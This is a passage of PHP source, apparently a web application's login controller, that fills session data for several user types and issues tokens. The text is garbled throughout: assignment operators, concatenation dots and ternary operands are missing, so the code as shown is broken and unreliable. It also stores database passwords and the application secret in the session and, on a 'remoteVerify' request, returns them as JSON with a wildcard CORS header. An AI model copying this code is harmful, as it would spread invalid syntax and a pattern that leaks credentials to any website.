  4939.                     if ($branchIdList == null$branchIdList = [];
  4940.                     $branchId $user->getUserBranchId();
  4941.                     if ($appIdList == null$appIdList = [];
  4942. //
  4943. //                    if (!in_array($user->getUserAppId(), $appIdList))
  4944. //                        $appIdList[] = $user->getUserAppId();
  4945. //
  4946. //                    foreach ($appIdList as $currAppId) {
  4947. //                        if ($currAppId == $user->getUserAppId()) {
  4948. //
  4949. //                            foreach ($company_id_list as $index_company => $company_id) {
  4950. //                                $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $company_id;
  4951. //                                $app_company_index = $currAppId . '_' . $company_id;
  4952. //                                $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  4953. //                                $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  4954. //                            }
  4955. //                        } else {
  4956. //
  4957. //                            $dataToConnect = System::changeDoctrineManagerByAppId(
  4958. //                                $this->getDoctrine()->getManager('company_group'),
  4959. //                                $gocEnabled,
  4960. //                                $currAppId
  4961. //                            );
  4962. //                            if (!empty($dataToConnect)) {
  4963. //                                $connector = $this->container->get('application_connector');
  4964. //                                $connector->resetConnection(
  4965. //                                    'default',
  4966. //                                    $dataToConnect['dbName'],
  4967. //                                    $dataToConnect['dbUser'],
  4968. //                                    $dataToConnect['dbPass'],
  4969. //                                    $dataToConnect['dbHost'],
  4970. //                                    $reset = true
  4971. //                                );
  4972. //                                $em = $this->getDoctrine()->getManager();
  4973. //
  4974. //                                $companyList = Company::getCompanyListWithImage($em);
  4975. //                                foreach ($companyList as $c => $dta) {
  4976. //                                    //                                $company_id_list[]=$c;
  4977. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  4978. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  4979. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  4980. //                                    $app_company_index = $currAppId . '_' . $c;
  4981. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  4982. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  4983. //                                }
  4984. //                            }
  4985. //                        }
  4986. //                    }
  4987.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  4988.                     // General User
  4989.                     $employeeId 0;
  4990.                     $currentMonthHolidayList = [];
  4991.                     $currentHolidayCalendarId 0;
  4992.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  4993.                         ->findOneBy(
  4994.                             array(
  4995.                                 'userId' => $user->getUserId()
  4996.                             )
  4997.                         );
  4998.                     if ($employeeObj) {
  4999.                         $employeeId $employeeObj->getEmployeeId();
  5000.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5001.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5002.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5003.                     }
  5004.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  5005.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  5006.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  5007.                     $session->set(UserConstants::USER_ID$user->getUserId());
  5008.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  5009.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  5010.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  5011.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  5012.                     $session->set(UserConstants::USER_NAME$user->getName());
  5013.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5014.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  5015.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  5016.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  5017.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  5018.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  5019.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  5020.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  5021.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  5022.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  5023.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  5024.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  5025.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  5026.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  5027.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5028.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5029.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5030.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5031.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5032.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  5033.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  5034.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  5035.                         return $this->redirectToRoute("user_login_position");
  5036.                     } else {
  5037.                         $PL json_decode($user->getPositionIds(), true);
  5038.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  5039.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  5040.                         $loginID $this->get('user_module')->addUserLoginLog(
  5041.                             $session->get(UserConstants::USER_ID),
  5042.                             $request->server->get("REMOTE_ADDR"),
  5043.                             $PL[0]
  5044.                         );
  5045.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  5046.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  5047.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  5048.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5049.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5050.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5051.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5052.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5053.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  5054.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5055.                         $appIdList json_decode($user->getUserAppIdList());
  5056.                         if ($appIdList == null$appIdList = [];
  5057.                         $companyIdListByAppId = [];
  5058.                         $companyNameListByAppId = [];
  5059.                         $companyImageListByAppId = [];
  5060.                         if (!in_array($user->getUserAppId(), $appIdList))
  5061.                             $appIdList[] = $user->getUserAppId();
  5062.                         foreach ($appIdList as $currAppId) {
  5063.                             if ($currAppId == $user->getUserAppId()) {
  5064.                                 foreach ($company_id_list as $index_company => $company_id) {
  5065.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5066.                                     $app_company_index $currAppId '_' $company_id;
  5067.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5068.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5069.                                 }
  5070.                             } else {
  5071.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  5072.                                     $this->getDoctrine()->getManager('company_group'),
  5073.                                     $gocEnabled,
  5074.                                     $currAppId
  5075.                                 );
  5076.                                 if (!empty($dataToConnect)) {
  5077.                                     $connector $this->container->get('application_connector');
  5078.                                     $connector->resetConnection(
  5079.                                         'default',
  5080.                                         $dataToConnect['dbName'],
  5081.                                         $dataToConnect['dbUser'],
  5082.                                         $dataToConnect['dbPass'],
  5083.                                         $dataToConnect['dbHost'],
  5084.                                         $reset true
  5085.                                     );
  5086.                                     $em $this->getDoctrine()->getManager();
  5087.                                     $companyList Company::getCompanyListWithImage($em);
  5088.                                     foreach ($companyList as $c => $dta) {
  5089.                                         //                                $company_id_list[]=$c;
  5090.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  5091.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  5092.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5093.                                         $app_company_index $currAppId '_' $c;
  5094.                                         $company_locale $companyList[$c]['locale'];
  5095.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5096.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5097.                                     }
  5098.                                 }
  5099.                             }
  5100.                         }
  5101.                         $session->set('appIdList'$appIdList);
  5102.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  5103.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  5104.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  5105.                         $branchIdList json_decode($user->getUserBranchIdList());
  5106.                         $branchId $user->getUserBranchId();
  5107.                         $session->set('branchIdList'$branchIdList);
  5108.                         $session->set('branchId'$branchId);
  5109.                         if ($user->getAllModuleAccessFlag() == 1)
  5110.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  5111.                         else
  5112.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  5113.                         $session_data = array(
  5114.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  5115.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  5116.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  5117.                             'oAuthToken' => $session->get('oAuthToken'),
  5118.                             'locale' => $session->get('locale'),
  5119.                             'firebaseToken' => $session->get('firebaseToken'),
  5120.                             'token' => $session->get('token'),
  5121.                             'firstLogin' => $firstLogin,
  5122.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  5123.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  5124.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  5125.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  5126.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  5127.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  5128.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  5129.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5130.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  5131.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  5132.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  5133.                             'oAuthImage' => $session->get('oAuthImage'),
  5134.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  5135.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  5136.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  5137.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  5138.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  5139.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  5140.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5141.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5142.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  5143.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5144.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  5145.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  5146.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  5147.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  5148.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  5149.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  5150.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  5151.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  5152.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  5153.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  5154.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  5155.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  5156.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  5157.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5158.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5159.                             //new
  5160.                             'appIdList' => $session->get('appIdList'),
  5161.                             'branchIdList' => $session->get('branchIdList'null),
  5162.                             'branchId' => $session->get('branchId'null),
  5163.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  5164.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  5165.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  5166.                         );
  5167.                         $session_data $this->filterClientSessionData($session_data);
  5168.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  5169.                         $session_data $tokenData['sessionData'];
  5170.                         $token $tokenData['token'];
  5171.                         $session->set('token'$token);
  5172.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5173.                             $session->set('remoteVerified'1);
  5174.                             $response = new JsonResponse(array(
  5175.                                 'uid' => $session->get(UserConstants::USER_ID),
  5176.                                 'session' => $session,
  5177.                                 'token' => $token,
  5178.                                 'success' => true,
  5179.                                 'session_data' => $session_data,
  5180.                             ));
  5181.                             $response->headers->set('Access-Control-Allow-Origin''*');
  5182.                             return $response;
  5183.                         }
  5184.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5185.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5186.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5187.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5188.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5189.                                     return $this->redirect($red);
  5190.                                 }
  5191.                             } else {
  5192.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5193.                             }
  5194.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5195.                             return $this->redirectToRoute("dashboard");
  5196.                         else
  5197.                             return $this->redirectToRoute($user->getDefaultRoute());
  5198. //                        if ($request->server->has("HTTP_REFERER")) {
  5199. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  5200. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  5201. //                            }
  5202. //                        }
  5203. //
  5204. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  5205. //                        if ($request->request->has('referer_path')) {
  5206. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  5207. //                                return $this->redirect($request->request->get('referer_path'));
  5208. //                            }
  5209. //                        }
  5210. //                        //                    if($request->request->has('gocId')
  5211. //
  5212. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5213. //                            return $this->redirectToRoute("dashboard");
  5214. //                        else
  5215. //                            return $this->redirectToRoute($user->getDefaultRoute());
  5216.                     }
  5217.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  5218.                     $applicantId $user->getApplicantId();
  5219.                     $userId $user->getApplicantId();
  5220.                     $globalId $user->getApplicantId();
  5221.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5222.                     $isConsultant $user->getIsConsultant() == 0;
  5223.                     $isRetailer $user->getIsRetailer() == 0;
  5224.                     $retailerLevel $user->getRetailerLevel() == 0;
  5225.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  5226.                     $isModerator $user->getIsModerator() == 0;
  5227.                     $isAdmin $user->getIsAdmin() == 0;
  5228.                     $userEmail $user->getOauthEmail();
  5229.                     $userImage $user->getImage();
  5230.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  5231.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5232.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5233.                     $buddybeeBalance $user->getAccountBalance();
  5234.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  5235.                     $userDefaultRoute 'applicant_dashboard';
  5236. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  5237.                     $userAppIds = [];
  5238.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  5239.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  5240.                     if ($userAppIds == null$userAppIds = [];
  5241.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  5242.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  5243.                     foreach ($userTypesByAppIds as $aid => $accData)
  5244.                         if (in_array($aid$userSuspendedAppIds))
  5245.                             unset($userTypesByAppIds[$aid]);
  5246.                         else
  5247.                             $userAppIds[] = $aid;
  5248. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  5249.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  5250.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  5251.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  5252.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  5253.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  5254.                     $loginID MiscActions::addEntityUserLoginLog(
  5255.                         $em_goc,
  5256.                         $userId,
  5257.                         $applicantId,
  5258.                         1,
  5259.                         $request->server->get("REMOTE_ADDR"),
  5260.                         0,
  5261.                         $request->request->get('deviceId'''),
  5262.                         $request->request->get('oAuthToken'''),
  5263.                         $request->request->get('oAuthType'''),
  5264.                         $request->request->get('locale'''),
  5265.                         $request->request->get('firebaseToken''')
  5266.                     );
  5267.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  5268.                     // General User
  5269.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5270.                         ->findOneBy(
  5271.                             array(
  5272.                                 'userId' => $user->getUserId()
  5273.                             )
  5274.                         );
  5275.                     if ($employeeObj) {
  5276.                         $employeeId $employeeObj->getEmployeeId();
  5277.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5278.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5279.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5280.                     }
  5281.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  5282.                         ->findOneBy(
  5283.                             array(
  5284.                                 'userId' => $user->getUserId(),
  5285.                                 'workingStatus' => 1
  5286.                             )
  5287.                         );
  5288.                     if ($currentTask) {
  5289.                         $currentTaskId $currentTask->getId();
  5290.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  5291.                     }
  5292.                     $userId $user->getUserId();
  5293.                     $userCompanyId 1;
  5294.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5295.                     $userEmail $user->getEmail();
  5296.                     $userImage $user->getImage();
  5297.                     $userFullName $user->getName();
  5298.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5299.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5300.                     $position_list_array json_decode($user->getPositionIds(), true);
  5301.                     if ($position_list_array == null$position_list_array = [];
  5302.                     $filtered_pos_array = [];
  5303.                     foreach ($position_list_array as $defPos)
  5304.                         if ($defPos != '' && $defPos != 0)
  5305.                             $filtered_pos_array[] = $defPos;
  5306.                     $position_list_array $filtered_pos_array;
  5307.                     if (!empty($position_list_array))
  5308.                         foreach ($position_list_array as $defPos)
  5309.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  5310.                                 $curr_position_id $defPos;
  5311.                             }
  5312.                     $userDefaultRoute $user->getDefaultRoute();
  5313.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  5314.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  5315.                         $userDefaultRoute 'dashboard';
  5316.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  5317.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  5318.                     if (isset($companyList[$userCompanyId])) {
  5319.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  5320.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  5321.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  5322.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  5323.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  5324.                     }
  5325.                     if ($allModuleAccessFlag == 1)
  5326.                         $prohibit_list_array = [];
  5327.                     else if ($curr_position_id != 0)
  5328.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  5329.                     $loginID $this->get('user_module')->addUserLoginLog(
  5330.                         $userId,
  5331.                         $request->server->get("REMOTE_ADDR"),
  5332.                         $curr_position_id
  5333.                     );
  5334.                     $appIdList json_decode($user->getUserAppIdList());
  5335.                     $branchIdList json_decode($user->getUserBranchIdList());
  5336.                     if ($branchIdList == null$branchIdList = [];
  5337.                     $branchId $user->getUserBranchId();
  5338.                     if ($appIdList == null$appIdList = [];
  5339.                     if (!in_array($user->getUserAppId(), $appIdList))
  5340.                         $appIdList[] = $user->getUserAppId();
  5341.                     foreach ($appIdList as $currAppId) {
  5342.                         if ($currAppId == $user->getUserAppId()) {
  5343.                             foreach ($company_id_list as $index_company => $company_id) {
  5344.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5345.                                 $app_company_index $currAppId '_' $company_id;
  5346.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5347.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5348.                             }
  5349.                         } else {
  5350.                             $dataToConnect System::changeDoctrineManagerByAppId(
  5351.                                 $this->getDoctrine()->getManager('company_group'),
  5352.                                 $gocEnabled,
  5353.                                 $currAppId
  5354.                             );
  5355.                             if (!empty($dataToConnect)) {
  5356.                                 $connector $this->container->get('application_connector');
  5357.                                 $connector->resetConnection(
  5358.                                     'default',
  5359.                                     $dataToConnect['dbName'],
  5360.                                     $dataToConnect['dbUser'],
  5361.                                     $dataToConnect['dbPass'],
  5362.                                     $dataToConnect['dbHost'],
  5363.                                     $reset true
  5364.                                 );
  5365.                                 $em $this->getDoctrine()->getManager();
  5366.                                 $companyList Company::getCompanyListWithImage($em);
  5367.                                 foreach ($companyList as $c => $dta) {
  5368.                                     //                                $company_id_list[]=$c;
  5369.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  5370.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  5371.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5372.                                     $app_company_index $currAppId '_' $c;
  5373.                                     $company_locale $companyList[$c]['locale'];
  5374.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5375.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5376.                                 }
  5377.                             }
  5378.                         }
  5379.                     }
  5380.                     if (count($position_list_array) > 1) {
  5381.                         $userForcedRoute 'user_login_position';
  5382. //                        return $this->redirectToRoute("user_login_position");
  5383.                     } else {
  5384.                     }
  5385.                 }
  5386.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  5387.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  5388.                     $userType == UserConstants::USER_TYPE_SYSTEM
  5389.                 ) {
  5390.                     $session_data = array(
  5391.                         UserConstants::USER_ID => $userId,
  5392.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  5393.                         UserConstants::APPLICANT_ID => $applicantId,
  5394.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  5395.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  5396.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  5397.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  5398.                         UserConstants::SUPPLIER_ID => $supplierId,
  5399.                         UserConstants::CLIENT_ID => $clientId,
  5400.                         UserConstants::USER_TYPE => $userType,
  5401.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  5402.                         UserConstants::IS_CONSULTANT => $isConsultant,
  5403.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  5404.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  5405.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  5406.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  5407.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  5408.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  5409.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  5410.                         UserConstants::USER_NAME => $userFullName,
  5411.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  5412.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  5413.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  5414.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  5415.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  5416.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  5417.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  5418.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  5419.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  5420.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  5421.                         UserConstants::USER_GOC_ID => $gocId,
  5422.                         UserConstants::USER_DB_NAME => $gocDbName,
  5423.                         UserConstants::USER_DB_USER => $gocDbUser,
  5424.                         UserConstants::USER_DB_PASS => $gocDbPass,
  5425.                         UserConstants::USER_DB_HOST => $gocDbHost,
  5426.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  5427.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5428.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5429.                         UserConstants::USER_LOGIN_ID => $loginID,
  5430.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  5431.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  5432.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  5433.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  5434.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  5435.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  5436.                         'IS_EMAIL_VERIFIED' => $isEmailVerified,
  5437.                         'REMEMBERME' => $remember_me,
  5438.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  5439.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  5440.                         'oAuthToken' => $oAuthToken,
  5441.                         'locale' => $locale,
  5442.                         'firebaseToken' => $firebaseToken,
